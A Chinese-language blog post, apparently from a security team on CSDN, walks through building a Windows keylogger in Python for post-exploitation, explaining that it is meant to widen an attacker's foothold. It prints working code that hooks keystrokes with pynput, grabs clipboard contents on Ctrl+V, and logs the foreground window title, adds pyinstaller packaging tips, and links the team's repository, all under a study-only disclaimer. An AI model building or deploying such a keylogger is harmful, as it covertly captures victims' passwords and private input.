作者: Beard林
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。

0x01 对于键盘记录简述

键盘记录一般用在后渗透中,以此方法寻求扩大战果。有些c2工具集成了这个功能,github上也有一些独立的工具,因为开发的语言不一样,大小也不一样,实用性也各不相同。

0x02 拆分键盘记录

键盘记录工具其实就是设置了一个钩子来获取按键的输入,流程如下:

1.工具创建进程
2.调用windows API
3.利用API钩子获取按键输入
4.将获取数据保存

用python实现以上要求需要的模块如下:

pywin32
threading
pynput
ctypes
os

0x03 主要代码

按键获取代码:


from pynput import keyboard

def keyboard_on_release(self, key):  # 键盘弹起时的操作
    with open(self.path+'key_log.txt','a') as a:
        a.write(str(key)+'\n')
with keyboard.Listener(on_release=self.keyboard_on_release) as KeyboardListener:#此处设置按下时触发的处理函数
    KeyboardListener.join()

当使用粘贴键时获取剪切板数据:


import win32clipboard#该模块下载pywin32时附带了

if '\\x16'in str(key):#
    win32clipboard.OpenClipboard()
    data = win32clipboard.GetClipboardData()
    win32clipboard.CloseClipboard()
    a.write('[Ctrl+V]:{'+data+'}'+'\n')

获取当前窗口名:

from  ctypes import *

window_name_value=['no']
def window_name():
    user32 = windll.user32
    kernel32 = windll.kernel32
    hwnd = user32.GetForegroundWindow()#获取句柄
    window_title = create_string_buffer(512)
    user32.GetWindowTextA(hwnd, byref(window_title), 512)  # 指定句柄获取窗口名
    value = window_title.value
    kernel32.CloseHandle(hwnd)
    return value.decode('gbk')
 if window_name_value[0] !='no':#第一次获取窗口名的时候,进入下面的代码
    window_name_value[0]=window_name()
value=window_name()#获取当前的窗口名
with open('key_log.txt','a') as a:
    if value != window_name_value[0]:#当前窗口名和window_name_value[0]的值不同时保存新的值
        window_name_value[0] = value
        a.write('[Window+name]:'+str(value)+'\n')#按照格式进行保存

0x04 问题总结

1.pip安装win32clipboard时找不到这个模块
答:该模块在python2中win32模块包含此包,python3则是py

win32包含

2.用pyinstaller打包后运行提示找不到win32clipboard,但是在pycharm中却可以运行
答:使用pycharm编写程序的话最好在添加pyinstaller模块,而不是使用环境下的pyinstaller。

具体代码会上传到给灼剑的团队github上,师傅们有兴趣的可以下载测试一下。
项目地址:https://github.com/Tsojan/Keyboard-record

0x05 了解更多安全知识

欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
在这里插入图片描述

Logo

CSDN联合极客时间,共同打造面向开发者的精品内容学习社区,助力成长!

更多推荐